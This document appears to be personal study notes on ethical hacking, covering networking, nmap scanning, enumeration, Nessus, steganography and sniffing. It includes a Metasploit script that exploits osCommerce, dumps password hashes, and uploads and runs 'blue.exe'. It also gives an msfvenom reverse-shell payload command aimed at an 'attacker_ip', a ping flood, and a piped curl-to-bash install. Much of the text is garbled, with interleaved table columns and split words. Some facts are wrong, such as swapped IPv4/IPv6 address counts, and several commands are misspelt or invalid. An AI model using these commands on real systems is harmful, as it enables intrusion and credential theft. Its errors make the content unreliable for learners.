Ethical Hacking and Pen-Testing
Ethical Hacking and Pen-Testing
Ethical Hacking and Pen-Testing
by talal hussain
How to Footprint
What is Enumeration?
What is Sniffing?
What is Cryptography?
1. Purpose: The primary goal is to uncover security weaknesses that could be exploited by
malicious hackers. Ethical hackers simulate potential attacks to identify vulnerabilities
and recommend corrective measures to mitigate these risks.
2. Legal and Ethical Framework: Ethical hacking is conducted within the boundaries of
laws and with proper authorization. Ethical hackers must adhere to a code of conduct,
ensuring they do not cause harm to the systems they are testing or to the privacy of the
individuals using those systems.
3. Skills and Tools: Ethical hackers use the same tools and techniques as malicious hackers,
such as vulnerability scanners, penetration testing frameworks, and exploit development
tools. They need a deep understanding of computer systems, networks, and programming.
4. Types of Testing:
• White Box Testing: The hacker has full knowledge of the system, including
source code and architecture details.
• Black Box Testing: The hacker has no prior knowledge of the system and tests it
as an external attacker would.
• Gray Box Testing: The hacker has partial knowledge of the system, such as
access to some internal documents or user accounts.
5. Phases of Ethical Hacking:
• Reconnaissance: Gathering information about the target.
• Scanning: Identifying open ports, services, and potential vulnerabilities.
• Gaining Access: Exploiting vulnerabilities to gain unauthorized access.
• Maintaining Access: Ensuring continued access to the target system.
• Covering Tracks: Deleting logs and other evidence of the hacking activities to
avoid detection (in real ethical hacking, this step is done for simulation purposes
and all activities are reported).
6. Reporting: After completing the penetration test, ethical hackers provide a detailed report
of their findings, including the vulnerabilities discovered, the methods used to exploit
them, and recommendations for remediation.
7. Certifications and Training: To become an ethical hacker, professionals often pursue
certifications such as Certified Ethical Hacker (CEH), Offensive Security Certified
Professional (OSCP), or Certified Penetration Tester (CPT). These certifications validate
their skills and knowledge in the field of cybersecurity.
Ethical hacking is an essential component of a comprehensive cybersecurity strategy, helping
organizations protect their digital assets from malicious attacks.
Types of Hackers
1. White Hat Hackers (Ethical Hackers):
• Work with organizations to improve security.
• Conduct penetration testing and vulnerability assessments.
• Operate legally and ethically.
2. Black Hat Hackers:
• Engage in illegal activities to exploit systems for personal gain.
• Aim to steal data, disrupt services, or damage systems.
3. Gray Hat Hackers:
• Operate between ethical and unethical boundaries.
• May discover vulnerabilities without permission but disclose them responsibly.
4. Script Kiddies:
• Use pre-written scripts or tools without fully understanding them.
• Often cause disruption without sophisticated skills.
5. Hacktivists:
• Hack systems for political or social causes.
• Aim to raise awareness or protest against issues.
6. State-Sponsored Hackers:
• Employed by governments to conduct espionage or cyber warfare.
• Highly skilled and well-funded.
7. Cyber Terrorists:
• Use hacking to create fear and disruption for political or ideological goals.
• Target critical infrastructure or large-scale systems.
Types of Attacks on a System
1. Phishing:
• Deceptive emails or messages tricking users into revealing personal information.
2. Malware:
• Malicious software like viruses, worms, Trojans, ransomware.
• Can damage, steal, or encrypt data.
3. Denial of Service (DoS) / Distributed Denial of Service (DDoS):
• Overloading a system to make it unavailable to users.
• DDoS involves multiple compromised systems.
4. Man-in-the-Middle (MitM):
• Intercepting and altering communication between two parties.
• Can steal sensitive data or inject malicious content.
5. SQL Injection:
• Exploiting vulnerabilities in web applications to execute malicious SQL queries.
• Can access, modify, or delete database data.
6. Cross-Site Scripting (XSS):
• Injecting malicious scripts into web pages viewed by other users.
• Can steal cookies, session tokens, or deface websites.
7. Brute Force Attack:
• Attempting to crack passwords or encryption keys through trial and error.
8. Social Engineering:
• Manipulating individuals to disclose confidential information.
• Can involve impersonation, pretexting, baiting.
Role of Ethical Hacking
1. Identify Vulnerabilities:
• Uncover weaknesses before malicious hackers can exploit them.
2. Strengthen Security Posture:
• Provide recommendations to enhance security measures.
3. Compliance:
• Ensure systems meet regulatory and industry standards.
4. Incident Response:
• Assist in investigating and mitigating security breaches.
5. Security Awareness:
• Educate employees and stakeholders on security best practices.
Rules of Ethical Hacking
1. Get Written Permission:
• Always obtain explicit authorization from the system owner before conducting
tests.
2. Define Scope:
• Clearly outline what systems and tests are included in the ethical hacking
engagement.
3. Respect Privacy:
• Avoid accessing or tampering with sensitive data beyond what is necessary for
testing.
4. Report Findings:
• Provide a detailed and honest report of all findings and vulnerabilities.
5. Follow Legal and Ethical Standards:
• Adhere to all relevant laws and ethical guidelines in your jurisdiction.
6. Avoid Causing Harm:
• Ensure that your testing does not disrupt normal operations or cause damage to
systems.
7. Maintain Confidentiality:
• Protect the confidentiality of the information and findings obtained during the
testing process.
Networking refers to the practice of connecting computers and other devices together to share
resources, exchange data, and communicate. It encompasses a wide range of technologies,
protocols, and systems that allow these connections and communications to happen. Here are the
key components and concepts of networking:
Types of Networks
1. Local Area Network (LAN):
• Covers a small geographic area, like a home, office, or building.
• Typically uses Ethernet or Wi-Fi.
• High-speed connectivity.
2. Wide Area Network (WAN):
• Covers large geographic areas, such as cities, countries, or continents.
• Often uses leased lines, satellite links, or public networks like the Internet.
3. Metropolitan Area Network (MAN):
• Spans a city or a large campus.
• Larger than a LAN but smaller than a WAN.
• Can be owned and operated by a single entity or a consortium.
4. Personal Area Network (PAN):
• Covers a very small area, usually a few meters.
• Includes devices like smartphones, tablets, and wearable devices.
• Often uses Bluetooth or USB.
5. Virtual Private Network (VPN):
• Extends a private network across a public network.
• Allows secure access to a private network from remote locations.
• Uses encryption and tunneling protocols.
Network topologies:
Bus Topology:
• All devices are connected to a single central cable.
• Simple but can be difficult to troubleshoot.
• Star Topology:
• All devices are connected to a central hub or switch.
• Easy to manage and expand, but the central point can be a single point of failure.
• Ring Topology:
• Devices are connected in a circular fashion.
• Data travels in one direction, reducing the chances of collisions.
• Mesh Topology:multiple paths between n
• Devices are interconnected, with odes.
• Provides high redundancy and reliability.
• Hybrid Topology:
• Combines two or more topologies.
• Flexible and scalable.
For example when a system need to communicate with google it send request to the router
then the router forword this on to the internet
each pair provide unique informatioin about your location and your device
Types of IP address:
IP v6 IP v4
It consist of 128 bits It consist of 32 bits
Donated hexadecimal notation e.g Donated decimal notation e.g
3ffe:200:0234:100 1.1.1.1
4.7 billion addresses 340 trillion trillion trillion adresses
Static IP Dynamic IP
A static IP address is a fixed IP address A dynamic IP address is an IP address that is
assigned to a device in a network. Unlike a
assigned to a device for a limited period of
dynamic IP address, which can change everytime and can change each time the device
time a device connects to the network, a static
connects to the network. These addresses are
IP address remains constant typically provided by Dynamic Host
• IPv4 Address: Configuration Protocol (DHCP) servers, which
• An example of a static IPv4 addressautomatically assign available IP addresses to
devices on a network.
might be 192.168.1.10 with a
• IPv4 Address:
subnet mask of 255.255.255.0 and
• An example of a dynamic IPv4 address
a default gateway of 192.168.1.1.
might be 192.168.1.5 today, but it
• IPv6 Address: could change to 192.168.1.20
• An example of a static IPv6 address tomorrow depending on the DHCP
might be server's assignment.
2001:0db8:85a3:0000:0000:8
• IPv6 Address:
a2e:0370:7334 with a prefix length
• An example of a dynamic IPv6 address
of 64 and a gateway of
might be
2001:0db8:85a3:0000:0000:8
2001:0db8:85a3:0000:0000:8
a2e:0370:0001.
a2e:0370:7334 for one session, and
it could change to another address in
future sessions.
if two system went to communicate with each other they eent to share
information with each other. But it use any protocol lie TCP and UDP. They have follow some
rule which decide port. The information that going which way is it going. Port have same rule
what if I’am listening at port 80 then you eill speak at port 80
total ports: 65535
registered:1024-49151
dynamic: 49151-65535
Default ports:
TCP works:
Urgent Data contain in packeges should be fast send
Finish There will be no further transmittion
Rest Reset all data
Push Send all buffering Data quickly
Ack Acknolegment the receipts of pkgs
synchoronize Initial a connection between hosts
Request methods:
• GET:
Purpose: Requests data from a specified resource.
Characteristics: Parameters are sent in the URL query string. It is idempotent (multiple
identical requests should have the same effect as a single request).
• POST:
Purpose: Submits data to be processed to a specified resource.
Characteristics: Data is sent in the body of the request. It is not idempotent (repeated
identical requests may have different effects each time).
• PUT:
Purpose: Updates a specified resource with the provided data.
Characteristics: Typically used to update existing resources or create new ones if they do
not exist.
• DELETE:
Purpose: Deletes the specified resource.
Characteristics: Removes the resource identified by the URL.
• PATCH:
Purpose: Applies partial modifications to a resource.
Characteristics: Used to apply partial updates to a resource, rather than replacing the
entire resource.
• HEAD:
Purpose: Requests headers that are identical to those that would be sent if the request
were a GET request.
Characteristics: Useful for retrieving metadata about a resource without transferring the
entire content.
• OPTIONS:
Purpose: Requests information about the communication options available for the target
resource.
Characteristics: Used to determine the HTTP methods supported by the server or to
request information about the server's capabilities.
• TRACE:
Purpose: Performs a message loop-back test along the path to the target resource.
Characteristics: Echoes the received request, allowing the client to see what changes or
additions have been made by intermediate servers.
• CONNECT:
Purpose: Establishes a tunnel to the server identified by the target resource.
Characteristics: Primarily used to establish a secure SSL/TLS connection through an
HTTP proxy.
All about linux:
Linux is an open source, free to use oprating system. It based on linux kernal. It
was developed by sep-7-1991.
Features:
• multiuser
• multitasking
• portability security
• GUI support
• Application support
• file system
• open to modify
Terminal Code:
• #!/bin/bash
•
• # Switch to superuser
• sudo su
•
• # Edit a specific file (replace 'folder_name' and 'file_name' with actual folder and file
names)
• gedit /path/to/folder_name/file_name
•
• # Edit the hosts file (assuming it's located in /etc/hosts)
• gedit /etc/hosts
•
• # Change directory to a specific folder (replace '/path/to/folder' with actual folder path)
• cd /path/to/folder
•
• # List files in the directory
• ls
•
• # Edit a specific file in the current directory (replace 'file_name' with actual file name)
• gedit "file_name"
•
• # Use proxychains with curl to request a URL (replace 'http://example.com' with actual
URL)
• proxychains curl http://example.com
•
• # Exit superuser mode
• exit
3. Add the Metasploit Repository: Add the Metasploit repository to your package sources.
bash
Copy code
curl -sSL https://packages.metasploit.com/metasploit-
framework/script.deb.sh | sudo bash
3. Setup Metasploit: Change directory into the cloned repository and setup Metasploit.
bash
cd metasploit-framework
./scripts/setup/external_msgrpc.sh
4. Start Metasploit: Start Metasploit using the msfconsole command from within the
metasploit-framework directory.
bash
./msfconsole
password: msfadmin
Footprint a website:
• knowing:
netcat, wapplyzer
• subdomains:
sublist3r, sub domain finder
• file hide links:
link extracts, DIRB
• security of headers:
security headers.com
• ssl test:
ssllab’s.com
• IP and buffers:
sudu su
ping” website name’
ping-h
ping -f -h 1000 1.1.1.1 # 1.1.1.1 is an IP and 1000 is limit
DNS footprinting :
• using tools
1. MXToolbox
MXToolbox is a comprehensive online tool that provides various DNS-related services,
including domain lookup, blacklist check, and DNS records lookup.
Steps to Use MXToolbox:
1. Go to MXToolbox:
• Visit MXToolbox.
2. Enter the Domain Name:
• Type the domain name you want to investigate in the search bar.
3. Select DNS Lookup:
• Choose the type of DNS record you want to query, such as A, MX, NS, TXT, etc.
4. Analyze Results:
• Review the DNS records, IP addresses, mail servers, and other information
provided by MXToolbox.
Example Commands on MXToolbox:
• MX Lookup: Displays mail exchange records.
• DNS Lookup: Shows various DNS records (A, MX, NS, TXT, etc.).
Explanation:
1. Shebang (#!/bin/bash): Specifies that the script should be executed using Bash.
2. Functions:
• perform_basic_enum: Executes basic DNS enumeration using discover
-type dns -target $target_domain.
• perform_advanced_enum: Executes advanced DNS enumeration using
discover -dns $target_domain.
• save_output: Saves the output of advanced DNS enumeration to a file named
dns_recon_output.txt.
3. Variables:
• target_domain: Specifies the domain (example.com in this script) on
which DNS reconnaissance will be performed.
4. Usage:
• Save the script into a file (e.g., dns_recon_script.sh).
• Make the script executable:
bash
chmod +x dns_recon_script.sh
Notes:
• Ensure discover is installed on your system (sudo apt install discover).
• Customize the script further by adding error handling, additional parameters for
discover, or other DNS reconnaissance techniques supported by discover.
Network scaning:
it is a process of scanning active online devices checking open port’s and
misconfiguration of a system
Types of scan:
• Ping Scan (ICMP Echo):
Description: Checks the availability of hosts on a network by sending ICMP echo
requests (ping) and waiting for responses.
Tool Example: ping <target>
• TCP Connect Scan:
Description: Establishes a full TCP connection to each port being scanned. This is
reliable but can be easily detected by firewalls.
Tool Example: nmap -sT <target>
• SYN Scan (Half-open Scan):
Description: Sends SYN packets to the target ports and analyzes responses to determine
open ports without completing the full TCP handshake.
Tool Example: nmap -sS <target>
• UDP Scan:
Description: Attempts to determine which UDP ports are open on the target. UDP is
connectionless, making this scan more challenging than TCP scanning.
Tool Example: nmap -sU <target>
• ACK Scan:
Description: Determines whether ports are filtered or unfiltered by sending ACK packets
and analyzing responses.
Tool Example: nmap -sA <target>
• FIN Scan:
Description: Sends FIN packets to target ports. Responses can indicate whether ports are
open or closed.
Tool Example: nmap -sF <target>
• XMAS Scan:
Description: Sends packets with FIN, PSH, and URG flags set. Responses can help
identify open or closed ports.
Tool Example: nmap -sX <target>
• NULL Scan:
Description: Sends packets with no flags set. Responses can indicate whether ports are
open, closed, or filtered.
Tool Example: nmap -sN <target>
• Service Version Detection:
Description: Identifies the version and type of services running on open ports, helping to
determine potential vulnerabilities.
Tool Example: nmap -sV <target>
• Operating System Detection:
Description: Attempts to determine the operating system of the target based on network
responses and other characteristics.
Tool Example: nmap -O <target>
• Comprehensive Scan (All TCP Ports):
Description: Scans all TCP ports on the target, providing a thorough assessment of
available services and potential vulnerabilities.
Tool Example: nmap -p- <target>
• Customized Scan (Specific Ports):
Description: Allows scanning of specific ports or ranges of ports based on known
services or areas of interest.
Tool Example: nmap -p <port1,port2-port3,...> <target>
Terminal code:
• # Switch to root user
• sudo su
•
• # Ping a target (replace 1.1.1.1 with the IP address or hostname)
• ping 1.1.1.1
•
• # Basic nmap scan (default scan type)
• nmap 1.1.1.1
•
• # Verbose nmap scan with timing and stealth options
• nmap -v -sT 1.1.1.1
•
• # More aggressive nmap scan with increased timing and service version detection
• nmap -v -sT -T4 -p 1-800 1.1.1.1 > scan_results.txt
•
• # List files in the current directory
• ls
•
• # Another nmap scan with detailed output to a file
• nmap -v -sT -T4 -sv -p 1-800 -vv 1.1.1.1 > scan_results_verbose.txt
•
• # List files in the current directory
• ls
•
• # Convert text processing file to HTML
• xsltproc file.xml -o file.html
•
• # Exit from root user mode
• exit
•
• # Open HTML file in Firefox
• firefox file.html
•
• # Manual for nmap command
• man nmap
•
• # Advanced nmap scan with aggressive service detection and script scanning
• nmap -A 1.1.1.1
•
• # Advanced nmap scan with aggressive service detection and script scanning
• nmap -A 1.1.1.1 –script
using masscam:
• sudosu
• masscam
• masscam -p1-800 1.1.1.1 –rate 1000
Enumeration:
in cybersecurity refers to the process of extracting information about a target
system or network to identify potential vulnerabilities and entry points for
exploitation. It involves systematically gathering specific details about resources
such as computers, servers, applications, and users. Enumeration is a critical phase
in penetration testing and ethical hacking, as it helps in understanding the structure
and configuration of the target environment.
Types of Enumeration:
1. Network Enumeration:
• NetBIOS Enumeration: Querying NetBIOS services to gather information like
computer names, shares, users, etc.
• SNMP Enumeration: Using SNMP (Simple Network Management Protocol) to
retrieve network device information, configurations, and statistics.
• NTP Enumeration: Querying NTP (Network Time Protocol) servers to gather
system time and potentially other information.
• LDAP Enumeration: Querying LDAP (Lightweight Directory Access Protocol)
services to retrieve directory information and user details.
• DNS Enumeration: Gathering information from DNS (Domain Name System)
servers about hosts, domains, and IP addresses.
2. System Enumeration:
• User Enumeration: Identifying valid user accounts on a system, often through
techniques like brute-forcing, password guessing, or querying system accounts.
• Service Enumeration: Identifying and profiling services running on a system,
including open ports, version information, and potential vulnerabilities associated
with those services.
• Software Enumeration: Identifying installed software, versions, patches, and
configurations that could be exploited.
3. Application Enumeration:
• Web Application Enumeration: Identifying web applications, their URLs,
directories, and parameters.
• Database Enumeration: Gathering information about databases, tables, columns,
and stored procedures.
• File System Enumeration: Exploring file systems to discover sensitive files,
directories, and permissions.
Countermeasures Against Enumeration:
To defend against enumeration attempts, organizations can implement several countermeasures:
• Access Controls: Use strong authentication mechanisms and enforce the principle of
least privilege to limit access to sensitive information.
• Network Segmentation: Segment networks to reduce the attack surface and isolate
critical systems from less secure areas.
• Monitoring and Logging: Implement logging mechanisms to detect and respond to
suspicious enumeration activities. Monitor network traffic for abnormal patterns.
• Patch Management: Regularly update systems and applications to mitigate
vulnerabilities that could be exploited through enumeration.
• Security Awareness: Train personnel on security best practices, including the risks
associated with disclosing information during social engineering attempts.
• Enumeration Testing: Conduct regular enumeration testing and vulnerability
assessments to identify weaknesses in the network and system configurations.
Terminal code:
Netbios enumeration:
• #!/bin/bash
•
• # Perform ping to check reachability
• ping 1.1.1.1
•
• # Perform an aggressive nmap scan
• nmap -sT -T4 -sV -oA output_scan -p 1-800 -v 1.1.1.1
•
• # Use nbtscan for NetBIOS name service scanning
• nbtscan 1.1.1.1
•
• # Perform another nmap scan with different ports
• nmap -p 1-200 -v 1.1.1.1 --script nb
SNMP enumeratioon:
• #!/bin/bash
•
• # Perform an nmap scan with SNMP script
• nmap -p 1-65535 --script=snmp 1.1.1.1
•
• # Perform a basic nmap scan on common ports
• nmap -p 1-1000 1.1.1.1
•
• # Use snmp-check to enumerate SNMP information
• snmp-check 1.1.1.1
SMTP enumeration:
• #!/bin/bash
•
• # Perform an nmap scan on ports 1-800 with verbose output
• nmap -p 1-800 -v 1.1.1.1
•
• # Use netcat (nc) to perform a basic port scan on port 25
• nc -nv 1.1.1.1 25
•
• # Perform an nmap scan on port 25 of the IP address 1.1.1.1
• nmap -p 25 1.1.1.1
NFS Enumeration:
• #!/bin/bash
•
• # Perform an nmap scan on port 111 with NFS script against 1.1.1.1
• nmap -p 111 1.1.1.1 --script=nfs
•
• # Use showcase to enumerate information from 1.1.1.1
• showcase -e 1.1.1.1
•
• # Mount the NFS share from 1.1.1.1 to local directory /mnt/temp/test
• mount -t nfs 1.1.1.1:/home/temp/test /mnt/temp/test
•
• # Change directory to /mnt/temp/test
• cd /mnt/temp/test
•
• # List contents of current directory
• ls
•
• # Create a directory named "test" inside /mnt/temp/test
• mkdir test
•
• # List contents of current directory again
• ls
DNS enumeration:
• dnsenum “ domain name”
VULNERABILITY ASSESMENT:
Vulnerability assessment (VA) is a crucial process in cybersecurity aimed
at identifying, quantifying, and prioritizing vulnerabilities within a system, network, or
application. Here's an overview of vulnerability assessment and its classifications:
Definition:
Vulnerability assessment involves systematic review and analysis of security weaknesses in IT
infrastructure, applications, and systems. It helps in understanding potential risks and taking
preventive measures before exploitation by malicious actors.
Classifications of Vulnerability Assessment:
1. Network Vulnerability Assessment:
• Focuses on identifying vulnerabilities within network infrastructure such as
routers, switches, firewalls, and network protocols.
• Tools like Nessus, OpenVAS, and Nmap are commonly used for network
vulnerability scanning.
2. Web Application Vulnerability Assessment:
• Targets vulnerabilities specific to web applications, including input validation
issues, SQL injection, cross-site scripting (XSS), and insecure server
configurations.
• Tools like Burp Suite, OWASP ZAP, and Acunetix are popular for web application
security testing.
3. Database Vulnerability Assessment:
• Evaluates vulnerabilities within database systems (e.g., SQL Server, MySQL,
Oracle) such as weak authentication, SQL injection, and excessive permissions.
• Tools like DbProtect, SQLMap, and AppDetectivePro are used for database
vulnerability scanning.
4. Host Vulnerability Assessment:
• Identifies vulnerabilities within individual hosts (servers, workstations) including
missing patches, weak passwords, and misconfigured services.
• Tools like QualysGuard, Rapid7 InsightVM, and OpenVAS can perform host-
based vulnerability scans.
5. Wireless Network Vulnerability Assessment:
• Examines security weaknesses in wireless networks, including Wi-Fi routers,
access points, and encryption protocols.
• Tools like Aircrack-ng, Kismet, and Wifite are used for wireless network
vulnerability testing.
6. Physical Security Vulnerability Assessment:
• Assesses vulnerabilities related to physical security measures such as access
controls, surveillance systems, and facility entry points.
• Techniques include physical penetration testing, security audits, and surveillance
system assessments.
Process:
• Discovery: Identifying assets and systems to be assessed.
• Mapping: Understanding relationships and dependencies between assets.
• Scanning: Using automated tools to detect vulnerabilities.
• Analysis: Assessing risks and potential impacts of identified vulnerabilities.
• Reporting: Documenting findings, prioritizing vulnerabilities, and recommending
mitigation strategies.
Importance:
• Risk Reduction: Helps in proactively addressing security weaknesses before they can be
exploited.
• Compliance: Often required for regulatory compliance (e.g., PCI DSS, HIPAA).
• Cost Savings: Prevents potential financial losses due to security breach
Vulnerability securing system:
Cvss v2.0 CVSS v3.0
0-3.9 is low dangerous 0-3.9 is low dangerous
4-6.9 is medium dangerous 4-6.9 is medium dangerous
7-10 is high danger or risk 7-10 is high or critical danger or risk
Terminal code:
• Download Nessus (adjust URL as necessary)
• wget https://www.tenable.com/downloads/api/v1/public/pages/nessus/downloads/####/
download?i_agree_to_tenable_license_agreement=true -O nessus.deb
•
• Switch to root user
• sudo su
•
• Install Nessus package
• dpkg -i nessus.deb
•
• Fix dependencies if needed
• apt-get install -f
•
• Start Nessus service
• service nessusd start
•
• Enable Nessus service to start on boot
• /bin/systemctl enable nessusd.service
•
• Access Nessus web interface
• # Open browser and navigate to https://localhost:8834/
System hackin;
System hacking involves unauthorized access, manipulation, or exploitation of computer systems
or networks. Here's a brief overview:
1. Definition: System hacking refers to gaining unauthorized access to computer systems or
networks through various means, often with the intention of stealing data, disrupting
operations, or causing damage.
2. Methods: Hackers use a variety of techniques to hack into systems, including exploiting
vulnerabilities in software, using malware like viruses or trojans, and employing social
engineering tactics to trick users into divulging sensitive information.
3. Goals: The goals of system hacking can vary widely. It may include accessing
sconfidential information (such as financial data or personal records), compromising the
integrity of data (by altering or deleting it), or disrupting system operations (by causing
denial of service attacks or other disruptions).
4. Prevention: Organizations and individuals can protect against system hacking by
implementing strong security measures such as using firewalls, antivirus software,
encryption, and regularly updating software to patch known vulnerabilities. Additionally,
user education about phishing scams and social engineering tactics is crucial.
5. Legal Aspects: System hacking is illegal in most jurisdictions and can result in severe
penalties, including fines and imprisonment, if caught and convicted.
• #!/bin/bash
•
• # Elevate to root user
• sudo su
•
• # Step 1: Perform an Nmap scan on the target IP
• echo "Running Nmap scan on 1.1.1.1..."
• nmap 1.1.1.1
•
• # Step 2: Use Enum4Linux to enumerate information from the target IP
• echo "Running Enum4Linux on 1.1.1.1..."
• enum4linux 1.1.1.1
•
• # Step 3: Start Metasploit Framework console
• echo "Launching Metasploit Framework console..."
• msfconsole -q -x "
•
• # Step 4: Search for osCommerce related exploits
• search oscommerce;
•
• # Step 5: Use a specific osCommerce exploit (adjust the module path if needed)
• use exploit/unix/webapp/oscommerce_installer_unauth_code_exec;
•
• # Step 6: Set the target IP address
• set RHOST 1.1.1.1;
•
• # Step 7: Set the target port number
• set RPORT 8080;
•
• # Step 8: Set the URL path to the osCommerce installation directory
• set URLPATH /oscommerce-2.3.4/catalog/install;
•
• # Step 9: Execute the exploit
• run;
•
• # Step 10: Retrieve system information from the target machine
• sysinfo;
•
• # Step 11: Dump the password hashes from the target machine
• hashdump;
•
• # Step 12: Upload a file named 'blue.exe' to the target machine
• upload /path/to/blue.exe /tmp/blue.exe;
•
• # Step 13: Execute the uploaded 'blue.exe' file on the target machine
• execute -f /tmp/blue.exe;
•
• # Step 14: List all active sessions
• sessions;
•
• # Step 15: Interact with a specific session (assumed session ID 1)
• session -i 1;
•
• # Step 16: Display help menu with available commands in the current context
• help;
•
• # Step 17: Dump the password hashes from the target machine (repeated)
• hashdump;
•
• # Exit Metasploit console
• exit;
•
• "
•
• echo "Script execution completed."
stegangraphy:
Steganography is the practice of concealing a message, image, or file within another
message, image, or file. Unlike cryptography, which protects the contents of a message,
steganography hides the very existence of the message. The word "steganography" is derived
from the Greek words "steganos" (meaning covered or concealed) and "graphein" (meaning
writing).
Types of Steganography
1. Text Steganography
• Line Shift Coding
• Word Shift Coding
• Feature Coding
• Invisible Characters
2. Image Steganography
• Least Significant Bit (LSB) Insertion
• Masking and Filtering
• Transform Domain Techniques (e.g., DCT, DWT)
• Palette-based Techniques
3. Audio Steganography
• Least Significant Bit (LSB) Coding
• Phase Coding
• Echo Hiding
• Spread Spectrum
4. Video Steganography
• Least Significant Bit (LSB) Insertion
• Transform Domain Techniques (e.g., DCT, DWT)
• Motion Vector Based Techniques
• Bit Plane Complexity Segmentation (BPCS)
5. Network Steganography
• Covert Channels
• Timing Channels
• Packet Padding
• Protocol Steganography
6. File System Steganography
• Slack Space
• Alternate Data Streams (ADS)
• Hidden Directories and Files
• File Attribute Manipulation
Tools for Steganography
1. Text Steganography Tools
• Stego: A simple text steganography tool that hides messages in text files.
• Snow: Uses whitespace characters (spaces and tabs) at the end of lines to hide messages.
2. Image Steganography Tools
• OpenPuff: A powerful steganography tool supporting multiple formats, including
images, audio, and videos.
• StegHide: Embeds data in BMP and JPEG images as well as WAV and AU files.
• SilentEye: A cross-platform steganography application that supports image and audio
files.
• F5 Steganography: A tool for hiding data in JPEG images using F5 algorithm.
• S-Tools: An older but still useful tool for embedding data in BMP, GIF, and WAV files.
3. Audio Steganography Tools
• DeepSound: Hides secret data in audio files and can be used to encrypt the hidden files.
• Steghide: Also supports audio formats like WAV and AU in addition to images.
• Hide4PGP: Uses audio files (WAV) to hide information securely.
4. Video Steganography Tools
• OpenPuff: Also supports video files along with images and audio.
• Camouflage: Allows you to hide files by merging them with other files.
• StegoStick: A video steganography tool that hides data in video files.
• Xiao Steganography: Hides data in BMP images and WAV files, but can also embed
messages in video files.
5. Network Steganography Tools
• NetSteg: A network steganography tool that hides data within network packets.
• StegTunnel: Encodes data within network traffic.
• Covert_TCP: A tool to hide information within TCP/IP packets.
6. File System Steganography Tools
• ADS Manager: Manages alternate data streams on NTFS file systems.
• FragFS: A file system steganography tool that hides files within fragmented file systems.
• StegoFS: A steganographic file system that allows files to be hidden within a file system.
Popular Multi-purpose Steganography Tools
• StegoSuite: A Java-based steganography tool that supports both image and text
steganography.
• OpenStego: A versatile tool that supports image steganography and watermarking.
• Stegano: A Python library for steganography that supports images, audio, and network
steganography.
Saving method:
File Saving on Computer:
• Manual Save: Use "Save" or "Save As" options in applications to save files locally on
your computer. This is typically done when working with documents, spreadsheets,
presentations, etc.
• Auto Save: Some applications have auto-save features that periodically save your work
to prevent data loss in case of unexpected shutdowns or crashes.
2. Cloud Storage:
• Online Services: Services like Google Drive, Dropbox, OneDrive, and iCloud allow you
to save files remotely on their servers. This provides accessibility from any device with
internet access and backup in case of hardware failure.
• Syncing: Files stored in cloud storage can be synced across multiple devices, ensuring
you have the latest version available everywhere.
3. External Storage Devices:
• USB Flash Drives: Portable and convenient for transferring files between computers.
• External Hard Drives: Larger storage capacity for backing up large amounts of data.
• SSD Drives: Faster and more durable compared to traditional hard drives.
4. Network Drives:
• Network-Attached Storage (NAS): Storage devices connected to a network, accessible
to multiple users or devices. Useful for sharing and backing up data within a network
environment.
5. Version Control Systems:
• Git: Primarily used for software development but can also be used for versioning and
collaboration on any type of files.
• SVN (Subversion): Another version control system that tracks changes to files over time.
6. Backup Strategies:
• Regular Backups: Establish a routine to back up important files to external drives or
cloud storage to protect against data loss.
• Incremental Backups: Backup only the data that has changed since the last backup,
reducing backup time and storage requirements.
7. Security Considerations:
• Encryption: Encrypt sensitive data before saving or transferring it to ensure privacy and
security.
• Backup Redundancy: Maintain multiple copies of important data to guard against
hardware failure, theft, or other unforeseen events.
8. Documenting and Organizing:
• File Naming Conventions: Adopt consistent naming conventions to easily locate and
identify files.
• Folder Structure: Organize files into folders based on categories, projects, or date to
maintain organization and ease of access.
How to create a payload:
Creating a payload typically refers to generating a piece of code or software that, when executed,
performs a specific action on a target system. In the context of cybersecurity and ethical hacking,
payloads are often used to exploit vulnerabilities or gain unauthorized access for testing and
security purposes. Here’s a general guide on how to create a payload:
1. Choose a Framework or Tool
Payload creation is commonly done using specialized frameworks or tools that automate much of
the process. Some popular tools include:
• Metasploit Framework: A powerful framework for developing, testing, and executing
exploits.
• Veil Framework: Designed for generating payloads that bypass traditional antivirus
solutions.
• MSFvenom (part of Metasploit): A versatile tool for generating payloads for various
platforms and architectures.
2. Select a Payload Type
Payloads can vary in type depending on the desired outcome, such as gaining shell access,
extracting data, or executing commands. Common types include:
• Reverse Shell: Establishes a connection from the target back to the attacker's machine,
allowing command execution and file transfer.
• Meterpreter Shell: A payload that provides advanced features for interacting with the
target system, part of Metasploit’s payload options.
• Trojan: A payload disguised as legitimate software to trick users into executing it, often
used for remote access or data theft.
3. Specify Payload Parameters
Depending on the tool or framework you’re using, you’ll need to specify parameters such as:
• LHOST (Listener Host): The IP address of the machine where the attacker is listening
for incoming connections.
• LPORT (Listener Port): The port number on the attacker's machine that listens for
connections from the payload.
4. Generate the Payload
Using the selected tool or framework, generate the payload with the specified parameters. Here’s
an example using msfvenom from the Metasploit Framework to create a Windows Meterpreter
reverse shell payload:
bash
Copy code
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip
LPORT=4444 -f exe -o payload.exe
Sniffing:
Sniffing refers to the practice of capturing and analyzing packets of data as they travel across a
network. This activity can be used for both legitimate network monitoring purposes and for
malicious activities in hacking. Here's a brief overview of sniffing:
What is Sniffing?
• Definition: Sniffing involves intercepting and logging traffic passing over a network. It
allows monitoring of data packets in real-time or capturing them for later analysis.
• Purpose: It's commonly used for network troubleshooting, security monitoring, and
performance optimization. However, it can also be exploited for malicious purposes like
stealing sensitive information.
Types of Sniffing
1. Passive Sniffing:
• Description: This method does not interfere with the network's normal operation.
It involves monitoring traffic without actively sending packets or altering the
network.
• Advantages: It is less likely to be detected by network security measures.
• Examples: Tools like Wireshark, Tcpdump are commonly used for passive
sniffing.
2. Active Sniffing:
• Description: Involves placing a network interface into promiscuous mode to
capture and analyze packets actively.
• Advantages: Can capture more detailed traffic information, including non-
broadcast traffic.
• Examples: Tools like Ettercap, Cain & Abel perform active sniffing and can even
modify intercepted data packets.
Risks and Mitigation
• Security Risks: Sniffing can lead to the exposure of sensitive data such as login
credentials, financial information, or confidential communications.
• Mitigation: To prevent unauthorized sniffing:
• Use encrypted communication protocols (e.g., HTTPS, SSH) to protect sensitive
data.
• Implement network segmentation and access controls to limit access to critical
network segments.
• Monitor network traffic regularly for suspicious activities using intrusion
detection systems (IDS) and intrusion prevention systems (IPS).
Tools Used for Sniffing
• Wireshark: A widely used network protocol analyzer for capturing and analyzing
packets.
• Tcpdump: Command-line tool for capturing and analyzing packets on Unix-like systems.
• Ettercap: A comprehensive suite for man-in-the-middle attacks and sniffing.
